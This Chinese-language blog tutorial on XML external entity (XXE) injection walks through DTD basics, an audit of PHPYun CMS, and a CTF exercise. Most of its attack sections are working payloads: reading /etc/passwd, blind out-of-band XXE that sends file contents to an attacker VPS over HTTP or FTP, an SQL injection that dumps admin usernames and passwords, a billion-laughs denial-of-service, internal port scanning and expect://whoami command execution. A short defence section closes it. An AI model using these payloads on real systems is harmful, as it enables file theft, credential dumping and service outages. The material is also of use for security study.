xml注入

首先,我们需要对XML进行一定的了解,在这里不做过多的多余叙述,接下图为XML工作流程:
在这里插入图片描述

简易xml概括

实体引用

对于实体ENTITY,XML定义了两种类型的实体,一种在XML文档中使用,另一种作为参数在DTD中使用。语法如下:

<!DOCTYPE 名字 [<!ENTITY 实体名 "实体内容"]>

楼下为预定义的实体引用
在这里插入图片描述

DTD(文档类型定义)

定义:

其可定义XML文档的合法构建模块,可在XML文档内声明,也可外部引用。

构建方式:

先来说下CDATA,指由XML解析器进行解析的文本数据(未分析的字符数据)。在XML中,<,&字符为非法,避免麻烦例如JS代码,就将脚本代码定为CDATA ,其中的内容都会被解析器忽略,组成结构为:" <![CDATA [" ****"]]>"。其次就是普通声明及引用

<!ENTITY entity-name "entity-value"> 

引用:
<message>&entity-name; </ message>,即可将“ entity-value”展示出来

1.内部实体声明

内部实体指在一个实体中定义的另一个实体,可用单双引号来区分内外部。

eg:<!ENTITY % in "<!ENTITY web 'http://vps'>">  
%in; 
2.外部实体声明及默认协议

在这里插入图片描述

eg: <?xml version="1.0" encoding="utf-8"?>
	<!DOCTYPE xxe [
		<!ENTITY flag SYSTEM "file:///etc/passwd">
    ]>
	<a>&flag;</a>
3.参数实体

参数实体仅用于DTD和文档的内部子集中,XML的规范定义中,仅在DTD中才能引用参数实体。并且参数实体的引用在DTD中是该类型的实体使用“百分比”字符(或十六进制)编码的百分比)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容,其在DTD中的解析优先于XML文本中的内部实体解析。

eg: <?xml version="1.0" encoding="utf-8"?>
	<!DOCTYPE a[
		<!ENTITY % one "hello">
	]>
	%one;

漏洞利用

XXE

原理(以PHPYun cms为例)

这里的漏洞位置为此cms的weixin/model/index.class.php,如下所示:

private function responseMsg()
      {
    $postStr = $GLOBALS["HTTP_RAW_POST_DATA"];


    if (!empty($postStr)){

                 $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
                  $fromUsername = $postObj->FromUserName;
                  $toUsername = $postObj->ToUserName;
                  $keyword = trim($postObj->Content);
                  $time = time();
                  $textTpl = "<xml>
         <![CDATA[%s]]>
         <![CDATA[%s]]>
         %s
         <![CDATA[%s]]>
         <![CDATA[%s]]>
         0
         </xml>";
      if(!empty( $keyword ))
                  {
                  $msgType = "text";
                   $contentStr = "Welcome to wechat world!";
                   $resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);
                   echo $resultStr;
                  }else{
                   echo "Input something...";
                  }

          }else {
           echo "";
           exit;
          }
      }

我们可以看到$postStr = $GLOBALS["HTTP_RAW_POST_DATA"],这句话的意思是传递原生的语句,而后$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);又通过simplexml_load_string函数解析后,直接传入$textTpl.

$resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);

这里也相当于直接获取post过来的XML内容直接输出.(请记住这一部分,我们将会在下一部分XXE与SQL注入继续审计)

外部实体注入

https://m.hundan.org/wooyun-2015-0148793

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<name>&xxe;</name>

基于盲注的XXE

原理

当我们在无回显和无报错的基础上使用盲注,即来构建一条带外信道(OOB)获得数据,主要使用DTD中的内部实体及参数实体。

示例

注入xml文件

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % host SYSTEM "file:///D:/flag.txt">
    <!ENTITY % remote SYSTEM "http://xxx/xxx.xml">
    %remote;
    %receive;
    %send;
]>

xxx.xml文件

<!ENTITY % receive "<!ENTITY send SYSTEM 'http://xxx/x.php?host=%host;'>">

x.php

<?php  
file_put_contents("1.txt", $_GET['host']) ;  
?>  

通过以上代码就可以进行读取文件等常规操作了,以上说的是php环境,再说下java环境:可通过gopher,file和jar等协议进行配合nc,ftp协议,
这里找到一个赏金猎人写的文章,可以一看

验证漏洞

其实只要让网站对我们的服务器发一个http请求,然后看是否服务器接收到请求即可。代码如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://vps">
%remote;
]>

基于报错的XXE

和sql注入中的报错注入差不多的原理,当我们将payload故意写错,例如在第二行出错,那xml的内容就会出现在下一行。
下图为示例
在这里插入图片描述

XML配置文件未授权访问

多见于用户名,密码,apache,ldap数据库等配置信息泄露
更多示例可查看以下链接:
https://m.hundan.org/wooyun-2015-0123762;
https://m.hundan.org/wooyun-2015-0123588;
https://m.hundan.org/wooyun-2016-0207791(19护网顺手挖到了一个同款漏洞呵呵)

XXE与SQL注入

原理(PHPYun cms为例)

if($MsgType=='event')
       {
      $MsgEvent = $postObj->Event;
      if ($MsgEvent=='subscribe')
      {
       $centerStr = "<![CDATA[欢迎您关注".iconv('gbk','utf-8',$this->config['sy_webname'])."!/n 1:您可以直接回复关键字如【销售】、【南京 销售】、【南京 销售 XX公司】查找您想要的职位/n绑定您的账户体验更多精彩功能/n感谢您的关注!]]>";
       $this->MsgType = 'text';

      }elseif ($MsgEvent=='CLICK')
      {
       $EventKey = $postObj->EventKey;
       if($EventKey=='我的帐号'){
        $centerStr = $this->bindUser($fromUsername);

       }elseif($EventKey=='我的消息')
       {
        $centerStr = $this->myMsg($fromUsername);
       }elseif($EventKey=='面试邀请')
       {
        $centerStr = $this->Audition($fromUsername);

       }elseif($EventKey=='简历查看')
       {

        $centerStr = $this->lookResume($fromUsername);

       }elseif($EventKey=='刷新简历')
       {

        $centerStr = $this- > refResume ($ fromUsername ); 
private function isBind($wxid='')
	{
	
		if($wxid)
		{
			$User = $this->obj->DB_select_once("member","`wxid`='".$wxid."'","`uid`,`username`");
		}
		if($User['uid']>0)
		{
			$User['bindtype'] = '1';
			$User['cenetrTpl'] = "<Content><![CDATA[您的".iconv('gbk','utf-8',$this->config['sy_webname'])."帐号:".$User['username']."已成功绑定! \n\n\n 您也可以<a href=\"".$this->config['sy_weburl']."/wap/index.php?m=login&wxid=".$wxid."\">点击这里</a>进行解绑或绑定其他帐号]]></Content>";
		}else{
			$Token = $this->getToken();
			$Url = 'https://api.weixin.qq.com/cgi-bin/user/info?access_token='.$Token.'&openid='.$wxid.'&lang=zh_CN';
			$CurlReturn  = $this->CurlPost($Url);
			$UserInfo    = json_decode($CurlReturn);
			
			$wxid        = $wxid;
			$wxname      = $UserInfo->nickname;
			$this->config['token_time'] = time();
			$User['cenetrTpl'] = '<Content><![CDATA[您还没有绑定帐号,<a href="'.$this->config['sy_weburl'].'/wap/index.php?m=login&wxid='.$wxid.'">点击这里</a>进行绑定!]]></Content>';
		}
		return $User;
	}

我们可以看到第一段代码满足后,会进入第二段代码的isBind函数,这里$wxid是我们传入的FromUserName的值,我们在上面XXE原理进行过代码审计知道它不会对我们传入的数据进行过滤,由此可进行SQL注入
payload:
<FromUserName>1111' and 1=2 union select 1,(select concat(username,0x23,password) from phpyun_admin_user limit 0,1)#</FromUserName> 需要注意的是一定要修改HTTP请求为Content-Type: text/ xml;

案例

为避免重复造轮,可自行查看火遍各大高校的某方教务,可拖数据库

XXE与XSS攻击

这篇文章写的很不错,可以借鉴一下
使用XML内部实体绕过Chrome和IE的XSS过滤器

XXE与DDOS攻击

原理

一般分为两种:

  • 1.请求大的文件(eg:C:/pagefile.sys 或/dev/random)
    /dev/random处于unix中,用作伪随机数生成
<!ENTITY go "file:///dev/random" >]><msg>&go;</msg>
  • 2.billion laughs攻击,即通过不断递归调用来使解析器繁忙,占用内存最终崩掉。(可配合LOIC工具,食用更佳)
<!--此代码包含10亿个大文件,约占3000M字节内存-->
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol
;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&
lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&
lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&
lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&
lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&
lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&
lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&
lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&
lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

案例

https://m.hundan.org/wooyun-2015-0137143

XXE与内网信息,命令执行

这里就不进行原理阐述了,和解释器有一些关系,直接上干货,以下建议配合脚本食用更佳。

  • 探测端口
    如果失败则可能返回Connection refused
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.0.1:3306">]>
<root>
<name>&xxe;</name>
</root>
  • 探测内网IP
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://otherIP">]>
<root>
<name>&xxe;</name>
</root>
  • 在安装有expect扩展的php环境执行
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://whoami" >]>
<root>
<name>&xxe;</name>
</root>

XXE与Flash跨域攻击(个人认为鸡肋)

这个突破感觉几乎没有什么用,而且利用条件也相对苛刻很多,可以自行查看https://m.hundan.org/wooyun-2012-08182
https://m.hundan.org/wooyun-2011-02491

CTF例题

博主很久之前写的,想来想去就不打算再增加例题和减少掉例题了(懒),多少有点帮助,看着玩吧哈哈

API:

http://web.jarvisoj.com:9882
在这里插入图片描述

Blind XXE思路:

1.客户端发送payload1给web服务器
2.网络服务器向VPS获取恶意DTD,并执行文件读取payload2
3.网页服务器带着回显结果访问VPS上特定的FTP或者HTTP
4.通过VPS获得回显(NC监听端口)
payload1:

<? xml version= "1.0" encoding= "UTF-8" ?> 
<!DOCTYPE [<!ENTITY % remote SYSTEM "http://vps/test.xml"> 
%remote;
] > 

payload2(服务器端文件):

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">
%int;
%trick;

防御

  • 1.及时升级第三方代码,中间件等
  • 2.过滤用户输入数据
  • 3.使用php及Java等语言的禁用外部实体方法
php:libxml_disable_entity_loader(true);

java: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

python:from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值